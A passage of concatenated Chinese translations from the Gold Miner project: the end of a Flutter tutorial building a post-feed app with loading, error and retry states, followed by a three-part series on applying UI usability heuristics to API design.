AppBar( title: new Text('FeedMe'), ), body: new Row()//TODO add the widget for current state ); } } ``` 我们事实上返回了一个 `Scaffold` 对象,因为我们应用程序的工具栏不会改变,也不依赖于当前状态。只是他的 body 会取决于当前状态。 让我们现在创建一个方法,它将返回 Widget 以显示当前状态,以及一种返回一个包含居中的循环进度条的 Widget 的方法: ``` dart class _PostPageState extends State{ Widget _getLoadingStateWidget(){ return new Center( child: new CircularProgressIndicator(), ); } Widget getCurrentStateWidget(){ Widget currentStateWidget; currentStateWidget = _getLoadingStateWidget(); return currentStateWidget; } @override Widget build(BuildContext context) { return new Scaffold( appBar: new AppBar( title: new Text('FeedMe'), ), body: getCurrentStateWidget() ); } } ``` 如果你现在运行这个应用程序,你会看到一个居中的循环进度条。 ### 显示帖子列表 我们先定义 `Post` 对象,因为它是在 JSONPlaceholder API 中定义的。为此,创建一个包含以下内容的 `Post.dart` 文件: ``` dart class Post { final int userId; final int id; final String title; final String body; Post({ this.userId, this.id, this.title, this.body }); } ``` 现在我们在同一个文件中定义一个 `PostState` 类来设计应用程序的当前状态: ``` dart class PostState{ List posts; bool loading; bool error; PostState({ this.posts = const [], this.loading = true, this.error = false, }); void reset(){ this.posts = []; this.loading = true; this.error = false; } } ``` 现在要做的就是在 `PostState` 类中定义一个方法来从 API 中获取 `Post` 的列表。稍后我们将看到如何做到这一点,因为现在我们只能异步地返回一个静态的 `Post` 列表: ``` dart Future getFromApi() async{ this.posts = [ new Post(userId: 1, id: 1, title: "Title 1", body: "Content 1"), new Post(userId: 1, id: 2, title: "Title 2", body: "Content 2"), new Post(userId: 2, id: 3, title: "Title 3", body: "Content 3"), ]; this.loading = false; this.error = false; } ``` 现在完成了,让我们回到 `main.dart` 文件中的 `PostPageState` 类来看看如何使用我们刚定义的类。我们在 `PostPageState` 类中初始化一个 `postState` 属性: ``` dart class _PostPageState extends State{ final PostState postState = new PostState(); // ... } ``` > 如果 IntelliJ IDEA 在 `PostState` 下显示红色下划线,这意味着 `PostState` 类没有在当前文件中定义。所以你需要导入它。将光标移至红色下划线部分,然后按Alt + Enter,然后选择导入。 现在,让我们定义一个方法,当我们成功获取 `Post` 列表时就返回一个 Widget : ``` dart Widget _getSuccessStateWidget(){ return new Center( child: new Text(postState.posts.length.toString() + " posts retrieved") ); } ``` 如果我们成功获得 Post 的列表,现在要做的就是编辑 `getCurrentStateWidget()` 方法来显示这个 Widget : ``` dart Widget getCurrentStateWidget(){ Widget currentStateWidget; if(!postState.error && !postState.loading) { currentStateWidget = _getSuccessStateWidget(); } else{ currentStateWidget = _getLoadingStateWidget(); } return currentStateWidget; } ``` 最后要做的,也许最重要的一件事就是运行请求以检索 Post 的列表。为此,定义一个 `_getPosts()` 方法并在初始化状态时调用它: ``` dart @override void initState() { super.initState(); _getPosts(); } _getPosts() async { if (!mounted) return; await postState.getFromApi(); setState((){}); } ``` 当当当,你可以运行应用程序来看结果。实际上,即使真的显示了循环进度条,也几乎没有机会看得到。这是因为检索 Post 的列表非常快,以致它几乎立即消失。 #### 从 API 中检索帖子列表 为了确保实际显示循环进度条,让我们从 JSONPlaceholder API 中检索该帖子。如果我们看一下 [API 的 post 服务](https://jsonplaceholder.typicode.com/posts),我们可以看到它返回一个帖子的 JSON 数组。 因此,我们必须先为 Post 类添加一个静态方法,以便将 Post 的 JSON 数组转换为 `Post` 列表: ``` dart static List fromJsonArray(String jsonArrayString){ List data = JSON.decode(jsonArrayString); List result = []; for(var i=0; i getFromApi() async{ try { var httpClient = new HttpClient(); var request = await httpClient.getUrl(Uri.parse('https://jsonplaceholder.typicode.com/posts')); var response = await request.close(); if (response.statusCode == HttpStatus.OK) { var json = await response.transform(UTF8.decoder).join(); this.posts = Post.fromJsonArray(json); this.loading = false; this.error = false; } else{ this.posts = []; this.loading = false; this.error = true; } } catch (exception) { this.posts = []; this.loading = false; this.error = true; } } ``` 你现在可以运行该应用程序,根据网速或多或少地可以看到循环进度条。 #### 显示帖子列表 目前,我们只显示检索的帖子数量,但不会像我们预期的那样显示帖子列表。为了能够显示它,让我们编辑 `PostPageState` 类的 `_getSuccessStateWidget()` 方法: ``` dart Widget _getSuccessStateWidget(){ return new ListView.builder( itemCount: postState.posts.length, itemBuilder: (context, index) { return new Column( crossAxisAlignment: CrossAxisAlignment.start, children: [ new Text(postState.posts[index].title, style: new TextStyle(fontWeight: FontWeight.bold)), new Text(postState.posts[index].body), new Divider() ] ); } ); } ``` 如果再次运行应用程序,你就会看到帖子列表。 ### 处理错误 我们还有最后一件事要做:处理错误。您可以尝试在飞行模式下运行应用程序,然后就可以看到无限循环进度条。所以我们要返回一个空白错误: ``` dart Widget _getErrorState(){ return new Center( child: new Row(), ); } Widget getCurrentStateWidget(){ Widget currentStateWidget; if(!postState.error && !postState.loading) { currentStateWidget = _getSuccessStateWidget(); } else if(!postState.error){ currentStateWidget = _getLoadingStateWidget(); } else{ currentStateWidget = _getErrorState(); } return currentStateWidget; } ``` 现在,当发生错误时,它会显示一个空白的界面。你可以随意更改内容来显示错误界面。但是我们说过,我们希望显示一个 Snackbar,以便在出现错误时重试。为此,让我们在 `PostPageState` 类中开发 `showError()` 和 `retry()` 方法: ``` dart class _PostPageState extends State{ // ... BuildContext context; // ... _retry(){ Scaffold.of(context).removeCurrentSnackBar(); postState.reset() setState((){}); _getPosts(); } void _showError(){ Scaffold.of(context).showSnackBar(new SnackBar( content: new Text("An unknown error occurred"), duration: new Duration(days: 1), // Make it permanent action: new SnackBarAction( label : "RETRY", onPressed : (){_retry();} ) )); } //... } ``` 正如我们所看到的,我们需要一个 `BuildContext` 来获得 `ScaffoldState`,它可以让 Snackbar 出现并消失。但是我们必须使用 `Scaffold` 对象的 `BuildContext` 来获得 `ScaffoldState` 。为此,我们需要编辑 `PostPageState` 类的 `build()` 方法: ``` dart Widget currentWidget = getCurrentStateWidget(); return new Scaffold( appBar: new AppBar( title: new Text('FeedMe'), ), body: new Builder(builder: (BuildContext context) { this.context = context; return currentWidget; }) ); ``` 现在在飞行模式下运行你的应用程序,它现在就会显示 Snackbar 了。如果您离开飞行模式,然后点击重试,就可以看到帖子了。 ### 总结 我们了解了用 Flutter 开发一个功能齐全的应用程序并不困难。所有 Material Design 的元素都是被提供的,并且就在刚刚,你用它们在 Android 和 iOS 平台上开发了一个应用程序。 该项目的所有源代码均可在 [Feed-Me Flutter project on GitHub](https://github.com/gahfy/feedme_flutter) 获得。 * * * 如果你喜欢这篇文章,你可以关注 [我的推特](https://twitter.com/gahfy) 来获得下一篇的推送。 --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/developers-are-users-too-introduction.md ================================================ > * 原文地址:[Developers are users too — Introduction](https://medium.com/google-developers/developers-are-users-too-introduction-fefdb42f05a) > * 原文作者:[Florina Muntenescu](https://medium.com/@florina.muntenescu?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-introduction.md](https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-introduction.md) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[IllllllIIl](https://github.com/IllllllIIl), [hanliuxin5](https://github.com/hanliuxin5) # 开发者也是用户 - 简介 ## 易用性 - 学于 UI,用于 API ![](https://cdn-images-1.medium.com/max/2000/1*KwDN8m7j1MLxObs2-znrVA.png) 题图:[Virgina Poltrack](https://twitter.com/VPoltrack) 当谈起**易用性**时,我们通常会将其与地图、短信或照片分享之类的 app 的用户界面联系起来。我们希望它们有着各自的优质特性,例如一个地图 app 应该要有: * **直观性** —— 能够轻松让用户知道如何从 A 导航至 B。 * **高效性** —— 能够快速地获得导航方向。 * **正确性** —— 能够获得从 A 至 B 正确的、无障碍的路线。 * 提供**适当的功能** —— 能够让用户探索地图,比如放大、缩小和导航。 * 为以上功能提供**适当的使用方式** —— 例如通过手指的缩放来操作地图。 同样的,我们也希望自己所使用的 API 也能有与此相同的特性。如果说 UI 是用户与功能之间的界面,那么 API 就是使用这个 API 的开发者和能实现相应功能代码之间的界面。因此,API 与 UI 一样需要易用性。 库、框架、SDK - API 无处不在。每当你把代码分离为模块,那么模块暴露的类与方法就成为了 API。其他的开发者(和未来的你)都将会要使用它。 易用性与如何学习使用某个事物花的时间可以说是成反比。无论是新手开发者还是专家都需要用许多的时间学习如何使用新的 API,一个低易用性的 API 可能会导致它被错误的调用,从而造成 bug 和安全问题。这些问题最终不仅会影响使用这些 API 的开发者,还会影响使用 app 的用户。因此,提供高易用性的 API 至关重要。 Nielsen 与 Molich 编写了一套广为人知的手册:[UI 易用性的启示](https://www.nngroup.com/articles/ten-usability-heuristics/),它可以简单地套用于任何产品中(包括 API),你可以结合 Bloch 所著的 [指南](https://dl.acm.org/citation.cfm?id=1176622) 了解如何设计优秀的 API。 1. [系统状态的可见性](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc#a062) 2. [让系统符合真实世界](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc#fd9a) 3. [为用户提供自由的操作方式](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc#52bc) 4. [一致性与标准](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc#7d0b) 5. [预防错误的发生](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc#6f9b) 6. [让用户认知,而不是回忆](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#b705) 7. [弹性、高效的使用方式](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#0709) 8. [优雅、极简的设计](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#3033) 9. [帮助用户认识、判断、改正错误](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#d40e) 10. [提供帮助与文档](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#e86b) * * * 在下篇文章中,我们将一同深入探讨这些原则,并了解如何将它们应用于 API 设计。敬请关注! --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/developers-are-users-too-part-1.md ================================================ > * 原文地址:[Developers are users too — part 1: 5 Guidelines for a better UI and API usability](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc) > * 原文作者:[Florina Muntenescu](https://medium.com/@florina.muntenescu?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-part-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-part-1.md) > * 译者:[lsvih](https://github.com/lsvih) > * 校对者:[tanglie1993](https://github.com/tanglie1993), [hanliuxin5](https://github.com/hanliuxin5) # 开发者也是用户 — 第一部分:构建更具可用性的 UI 与 API 的 5 个方针 ![](https://cdn-images-1.medium.com/max/2000/1*OUzDeiHZ1Dfe2grlecdC1g.png) 在前一篇文章中,我们探讨了 UI 可用性与 API 可用性的重要性,并说明了 UI 可用性原则可以应用于 API。下面是前文链接: [**开发者也是用户 - 简介** _可用性 - 学于 UI,用于 API_](https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-introduction.md) 在本文中,我们将具体讨论前 5 条可用性方针: 1. 系统状态的可见性 2. 让系统符合真实世界 3. 为用户提供自由的操作方式 4. 一致性与标准 5. 预防错误的发生 ### 1. 系统状态的可见性 > 系统应当在合理的时间,通过合适的反馈,让用户了解它正在做什么。 **UI:**当用户进行一项需要耗费较长时间的操作时,应告知用户操作的进度。例如,在加载图片时显示一个进度条,在上传下载文件时显示百分比。应当让用户知道正在让他们等待的是什么,需要花多长时间。 ![](https://cdn-images-1.medium.com/max/800/1*uyWN73Fvr91jvuw9AfrUTQ.gif) 上图:告知用户当前状态。[图片来源](https://material.io/guidelines/components/progress-activity.html#progress-activity-types-of-indicators) **API:**API 应当提供某种可以查询当前状态的方式。例如,[`AnimatedVectorDrawable`](https://developer.android.com/reference/android/graphics/drawable/AnimatedVectorDrawable.html) 类提供了一个方法来检查动画是否正在运行: ``` boolean isAnimationRunning = avd.isRunning(); ``` API 可以采用回调机制来给出反馈,让 API 用户知道对象在何时改变了状态 —— 类似于动画开始与结束时的通知。例如,[`AnimatedVectorDrawable`](https://developer.android.com/reference/android/graphics/drawable/AnimatedVectorDrawable.html) 对象可以 [registering](https://developer.android.com/reference/android/graphics/drawable/AnimatedVectorDrawable.html#registerAnimationCallback%28android.graphics.drawable.Animatable2.AnimationCallback%29) 一个 [`AnimationCallback`](https://developer.android.com/reference/android/graphics/drawable/Animatable2.html#registerAnimationCallback%28android.graphics.drawable.Animatable2.AnimationCallback%29) 来完成上述操作。 ### 2. 让系统符合真实世界 > 应用程序应当“说”用户的语言,使用用户熟悉的短语和概念,而不应该使用面向系统的术语。 ![](https://cdn-images-1.medium.com/max/800/0*wSpL4tOdQ80XTC-B.) 上图:使用用户熟悉的概念。[图片来源](https://material.io/guidelines/style/writing.html#writing-language) #### 类与方法的命名应符合用户的预期 **API:**当在一个新的 API 中查找类时,用户可能无从下手,因而依赖之前使用类似 API 的经验,或者依赖在 API 领域通用的观念。例如,当使用 Glide 或者 Picasso 下载并展示图片时,用户很可能会去查找名为“load”或“download”的方法。 ### 3. 为用户提供自由的操作方式 > 为用户提供撤销操作的机会。 **UI:**某些用户发起的操作可能含有歧义,例如“删除”或“存档”邮件。此时应显示一条消息让用户确认,并允许用户撤销此操作。 ![](https://cdn-images-1.medium.com/max/800/1*6ZgbBYTkeyh-LrA96T8Nuw.png) 上图:允许用户撤销当前操作。[图片来源](http://Elements%20like%20“Help”%20and%20“Send%20feedback”%20are%20usually%20placed%20at%20the%20bottom%20of%20the%20navigation%20drawer.) #### API 应允许中断或重置操作,并能简单地将 API 恢复到正常状态 **API:**例如,Retrofit 提供了一个 [Call#cancel](https://square.github.io/retrofit/2.x/retrofit/retrofit2/Call.html#cancel--) 的方法,此方法会尝试取消飞行模式下的 call 调用,以及取消还未被 execute 执行的 call 调用,让其之后也不再会执行。此外,如果你在使用 NotificationManager,你会发现既可以创建通知也可以取消[(cancel)](https://developer.android.com/reference/android/app/NotificationManager.html#cancel%28int%29)通知。 ### 4. 一致性与标准 > 你的应用程序的用户不应该去思考不同的文本、情景或者操作是否有着同样的意义。 **UI:**与你的 app 进行交互的用户在此之前已经通过与其它 app 交互得到了训练,他们会希望各个应用的可交互元素的样式与行为都相同。如果偏离了这些惯例,那么用户就会更容易出错。 因此,UI 需要与平台保持一致,并使用用户熟悉的 UI 控件,以方便用户快速识别并使用它们。此外,一致性应当贯穿你的整个应用。在 app 的不同界面中,使用相同的文字与图表来表示相同的东西。例如,在你的 app 中用户可以修改多个元素,那么请使用相同的修改图标。 ![](https://cdn-images-1.medium.com/max/800/0*ioWpCsAMsI7gRHxo.) 上图:对话框应该与平台保持一致。[图片来源](https://material.io/guidelines/usability/accessibility.html#accessibility-implementation) **API:**所有的 API 设计都应遵循一致性原则。 #### 各个方法应保持命名的一致性 请参考下面的例子。假设我们有一个 interface 暴露了两个设置不同类型 observer 的方法: ``` public interface MyInterface { void registerContentObserver(ContentObserver observer); void addDataSetObserver(DataSetObserver observer); } ``` 使用它的用户可能会思考:`register…Observer` 和 `add…Observer` 究竟有什么区别呢?是否一个方法一次接受一个 observer,另一个方法一次可以接受多个 observer 呢?开发者要么去认真阅读文档,要么去查找 interface 的实现,来研究两个方法的行为是否相同。 ``` private List contentObservers; private List dataSetObservers; public void registerContentObserver(ContentObserver observer) { contentObservers.add(observer); } public void addDataSetObserver(DataSetObserver observer){ dataSetObservers.add(observer); } ``` 因此,请为做同样事情的方法进行 **相同的命名**。 可以在命名时考虑使用**反义词**,例如:get - set,add - remove,subscribe - unsubscribe,show - dismiss。 #### 各个方法应保持参数顺序的一致性 在重载方法时,需要确保在新旧方法中都存在的参数的顺序保持一致。否则,你的 API 用户将要花更多的时间来理解重载与被重载方法的区别。 ``` void setNotificationUri( ContentResolver cr, Uri notifyUri); void setNotificationUri( Uri notifyUri, ContentResolver cr, int userHandle); ``` #### 避免在函数中使用连续的、同类型的参数 虽然在 Android Studio 中,使用连续的多个相同类型的参数是件简单的事情,但是这样做很容易导致参数顺序出错,并且很难找到这种错误。参数的顺序应当尽可能与参数的逻辑顺序一致。 ![](https://cdn-images-1.medium.com/max/800/0*2oT4UN19rU1q_aJI.) 当这些参数的类型都相同时,用户很容易犯错。例如上图中 county 和 country 就弄反了。 为了解决这种问题,你可以使用建造者模式,或者应用 Kotlin 的 [命名参数(named parameters)](https://kotlinlang.org/docs/reference/functions.html)。 #### 方法的参数应不大于 4 个 参数越多,意味着方法越复杂。用户需要理解每个参数在方法中起到的作用以及与其它参数的关系,也就是说每增加一个参数都会导致方法的复杂度呈指数形式增加。当一个方法的参数超过 4 个时,就可以考虑将其中一些参数封装在其它类中或使用构造器了。 #### 返回值会影响方法的复杂度 当一个方法返回某个值时,开发者需要知道这个值代表着什么,如何存储它等。如果不需要用到这个值,那么它也不应当对方法的复杂度造成影响。 例如,当向数据库插入一个元素时,Room 既可以返回 `Long` 也可以返回 `void`。如用户需要使用返回值时,首先需要了解此返回值的意义,以及如何存储它。而在不需要返回值时,用户可以使用 void 类型方法。 ``` @Insert Long insertData(Data data); @Insert void insertData(Data data); ``` 因此,你应当允许 API 用户自己决定是否需要返回值。如果你正在开发一个基于代码生成器的库,应该允许其生成返回多种可选类型的方法。 ### 5. 预防错误的发生 > 创建防范于未然的设计。 **UI:**用户经常会一心多用,因此你应当防止用户在无意识下造成的错误,减少用户“翻车”的机会。比方说你可以在毁灭性操作前弹框要求确认,或者提供正确的缺省值。 比如,Google Photos 应用会弹出一个确认框来确保你删除相册不是误操作;而 Inbox 的“邮件稍后提醒”功能仅需一键操作。 ![](https://cdn-images-1.medium.com/max/800/1*qLkM_Zm1bR15IgbFZiKMRQ.png) 上图:Google Photo 在毁灭性操作前弹出确认框;Inbox 在暂停收件操作时提供方便选择的缺省值。 #### API 应该引导用户正确地使用 API。尽可能使用缺省值。 API 应当易于使用,且能防止误用。通过提供缺省值可以帮助用户正确使用 API。例如,当创建 Room 数据库时,有一个缺省值可以确保在升级数据库版本时数据不丢失。由于数据库版本对用户来说是透明的,又因为升级时数据会保持,所以使用 Room 的应用程序对用户来说易用性更好。 与此同时,Room 也提供了一个方法 [`fallbackToDestructiveMigration`](https://developer.android.com/reference/android/arch/persistence/room/RoomDatabase.Builder.html#fallbackToDestructiveMigration%28%29) 用于改变这种行为,如果没有提供迁移方法,那么在数据库版本改变时会销毁并重新创建数据库。 * * * 深入了解另外 5 条原则请访问: [让用户认知,而不是回忆](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#b705) [弹性、高效的使用方式](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#0709) [优雅、极简的设计](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#3033) [帮助用户认识、判断、改正错误](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#d40e) [提供帮助与文档](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535#e86b) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/developers-are-users-too-part-2.md ================================================ > * 原文地址:[Developers are users too — part 2: 5 More guidelines for a better UI and API usability](https://medium.com/google-developers/developers-are-users-too-part-2-96e03fe17535) > * 原文作者:[Florina Muntenescu](https://medium.com/@florina.muntenescu?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-part-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/developers-are-users-too-part-2.md) > * 译者:[tanglie1993](https://github.com/tanglie1993) > * 校对者:[corresponding](https://github.com/corresponding),[hanliuxin5](https://github.com/hanliuxin5) # 开发者也是用户 - 第二部分:改善 UI 和 API 可用性的五条指导原则 我们对自己与之交互的所有东西的可用性都有相同的预期,包括 UI 和 API。所以,我们用于 UI 的指导原则也可以被转化到 API。我们在前一篇文章中已经看到了前面五条指导原则。现在,是时候看看剩下的了。 [**开发者也是用户 — 第一部分** _改善 UI 和 API 可用性的五条指导原则_medium.com](https://medium.com/google-developers/developers-are-users-too-part-1-c753483a50dc) ### 6. 识别而不是回忆 **UI:** 识别出熟悉的事物所耗费的认知代价是最小的,并且它还能被上下文环境所触发。回忆意味着从记忆中取出细节,它需要多很多的时间。从一系列选项中选择,比根据记忆写出选项容易很多。一个使用常见 icon 的简单 UI 是基于识别的,一个命令行界面是基于回忆的。信息和功能应该被设计得明显,符合直觉并且容易使用。 ![](https://cdn-images-1.medium.com/max/800/1*eHPxVsUoCufUaKTmMgleTg.png) 铅笔 icon 是一个表示编辑的符号,容易识别,与 app 无关。 #### 使名称清晰、易于理解 A **变量** 名称应该说明它代表什么,而不是如何使用: `isLoading`, `animationDurationMs`. A **类** 名称应该是一个名词,说明它代表什么:`RoomDatabase`, `Field`. A **方法** 名称应该是一个动词,说明它做什么:`query()`, `runInTransaction()`. ### 7. 使用的灵活性和效率 **UI:** 你的应用可能被没有经验和经验丰富的用户同时使用。创建一个 UI使其迎合这两种用户的需求,并让他们习惯常用的操作。据说,20% 的功能被 80% 的用户使用。你需要在简洁和功能之间权衡。找出你的 app 中的那 20%,然后把它们变得尽可能简单易用。使用 [逐步展现原则](https://www.nngroup.com/articles/progressive-disclosure/) ,让其他用户在次要的页面使用进阶功能。 ![](https://cdn-images-1.medium.com/max/800/1*DenvAOded-MXjFI1v5iXFQ.png) Wi-Fi 设置默认显示基本选项,但也包含进阶选项。它适合用户的需求。 #### 写有弹性的 API 用户应当能够使用 API 高效地完成任务,因此 API 需要有弹性。比如,在查询数据库时,Room 提供不同的返回值,允许用户进行同步查询,使用LiveData,或者如果他们喜欢的话,使用 RxJava2 中的 API。 ``` @Query(“SELECT * FROM Users”) // synchronous List getUsers(); // asynchronously Single> getUsers(); Maybe> getUsers(); // asynchronously via observable queries Flowable> getUsers(); LiveData> getUsers(); ``` #### 把相关的方法放在相关的类中 如果一个类和一个开发者写出的代码没有直接关系,那么他通常很难找到其中的某个方法。而且,通常包含大量有用方法的 Util 和 Helper 类会很难找到。在使用 Kotlin 时,解决这个问题的方案是使用 [扩展函数](https://kotlinlang.org/docs/reference/extensions.html)。 ### 8. 美观和极简的设计 **UI:** UI 应当保持简单,只包含当时和用户相关的信息。不相关或很少使用的信息应当被删除或者移到其它屏幕,因为它们的存在使用户分心,并且减少了相关信息的重要性。 ![](https://cdn-images-1.medium.com/max/800/1*HBsvBFRg_ueZvG5Qfmk3ZA.png) [Pocket Casts](https://play.google.com/store/apps/details?id=au.com.shiftyjelly.pocketcasts&hl=en_GB) app 使用极简设计 这个播客 app 的集列表页面显示最少量的,和上下文相关的信息:如果用户没有下载某集,这一集的大小和下载页面是可见的;如果用户已经下载,就可以见到时长和播放按钮。同时,对于那些好奇的用户而言,详情页面包含所有这些信息,并且不止于此。 **API:** 用户们有一个目标:用你的 API 更快解决问题。所以把它们的路径做得尽可能短和直接。 #### 不要暴露内部 API 逻辑 **API:** 不必要地暴露 API 内部逻辑会让你的用户困惑,并降低你的 API 的可用性。不要暴露不必要的方法和类。 #### 不要让用户做任何 API 能够做的事情 **API:** 从 22.1.0 开始,Android Support Library 提供 `RecyclerView` 相关的一系列对象,使用户可以基于频繁改变的大型数据集创建 UI 元素。当列表改变时,`RecyclerView.Adapter` 需要被通知哪些数据被更新了。这使得开发者创造他们自己的用于比较列表的方法。在 25.1.0 版本的 Support Library, 这类反复出现的代码被 `[DiffUtil](https://developer.android.com/reference/android/support/v7/util/DiffUtil.html)` 类极大简化了。而且,`DiffUtil` 使用经过优化的算法,减少你需要写的代码量并且增强性能。 ### 9. 帮助用户识别、诊断并摆脱错误 **UI:** 向你的用户提供有助于识别、诊断并摆脱错误的错误信息。好的错误信息明确指出有东西出错了,使用礼貌而易读的语言准确描述问题,包含有助于解决问题的建议。避免显示状态码或者异常类名称,用户不会知道如何处理这些信息的。 ![](https://cdn-images-1.medium.com/max/800/1*oJ8PMLg3ayTfHR7dOFvGEA.png) 创建事件时的错误信息。 [来源](https://material.io/guidelines/patterns/errors.html#errors-user-input-errors) 在输入区域失去焦点时尽快显示错误信息,不要等到用户点击提交表单的按钮。更不要等到服务端传来错误信息。使用 TextView 的[功能](https://developer.android.com/reference/android/widget/TextView.html#setError%28java.lang.CharSequence%29) 来显示错误信息。如果你在创建一个事件表单,你要通过直接给 UI 控件设置限制的方法,防止用户创建发生在过去的事件。 #### 快速失败 **API:** 一个 bug 被报告得越早,它就会造成越少的损失。因此,失败的最好时机就是在编译期。例如,Room 会在编译期报告任何不正确的查询或者类注解。 如果你不能在编译期失败,最好尽快在运行时失败。 #### 异常应当用于指示异常的情况 **API:** 用户不应当使用在控制流中使用异常。异常应当仅用于例外情况,或者 API 的不正确使用。尽可能使用返回值来指示这些情况,因为捕获并处理异常几乎总是比测试返回值要慢。 例如,试图把 `null` 值插入一个有 `NON NULL` 限制的列中,就是一种异常的情况,会抛出 `SQLiteConstraintException`。 #### 抛出具体的异常。尽量使用已有的异常 **API:** 开发者知道 `IllegalStateException` 和 `IllegalArgumentException` 是什么意思,哪怕他们不知道你的 API 中发生了什么。通过抛出已有的异常来帮助你的 API 用户,使用尽量具体而不是笼统的异常,并好好填写错误信息。 在通过 `[createBitmap](https://developer.android.com/reference/android/graphics/Bitmap.html#createBitmap%28android.graphics.Bitmap,%20int,%20int,%20int,%20int%29)` 方法创建 `Bitmap` 时,你需要提供新 bitmap 的宽高等信息。如果你传入小于 0 的值作为参数,这个方法将会抛出 `IllegalArgumentException`。 #### 错误消息应当准确指示问题 **API:** 为 UI 写错误信息的指导原则,也适用于 API。提供细致的错误信息,以帮助用户修复他们的代码。 比如,在 Room 中,如果一个查找在主线程运行,用户将会获得 `java.lang.IllegalStateException: 不能在主线程访问数据库,因为它有可能把 UI 锁住较长的一段时间`。这表明查询被执行时的状态(在主线程)是不合法的。 ### 10. 帮助和文档 **UI:** 你的用户应当能够不用文档使用你的应用。对于非常复杂或者领域专门化的 app,这也许是不可能的。所以,如果需要文档,确保它易于寻找、易于使用,并解答了常见的问题。 ![](https://cdn-images-1.medium.com/max/800/1*uZnbab0y0Hv44odGp7AblQ.png) 诸如 “帮助” 或者 “发送反馈” 之类的元素通常在导航菜单底部 #### API 应当是自说明的 **API:** 好的方法、类和成员命名使 API 能够阐明自身的意义。但无论 API 多好,没有好的文档就无法被使用。这就是每个 public 的元素——方法,类,域,参数——应当用文档说明的原因。对于你,一个 API 开发者来说简单易见的东西,也许对于你的 API 用户来说就不那么容易和显然了。 #### 示例代码应该是模范代码 **API:** 示例代码有若干用途:他们帮助用户理解 API 的目的,用途,以及上下文。**代码片段** 用于解释如何使用基本的 API 功能。 **教程** 教用户关于 API 特定层面的知识。**代码示例** 是更加复杂的例子,通常是一整个应用。这三者之中,缺少代码示例会引起最严重的问题,因为开发者看不到整体图景——你所有的方法和类是如何协作的,以及它们是如何与系统协作的。 如果你的 API 流行起来了,有可能会有数以千计的开发者使用这些例子。他们将会成为如何使用你的 API 的例子。因此,你犯的每个错误都会让你自食其果。 * * * 这些年,我们学习了很多关于 UI 可用性的知识;我们知道用户们需要什么,以及他们在想什么。他们需要符合直觉、高效、正确的 UI,并且要能帮助他们用合适的方式完成特定任务。这些概念都不止于 UI,还适用于 API,因为开发者也是用户。所以,让我们通过可用的 API 帮助他们(也是帮助我们自己)吧。 > **API应当易用且不易滥用——它应该易于做简单的事,可能做复杂的事,不可能——至少难以——做错误的事** Joshua Bloch — 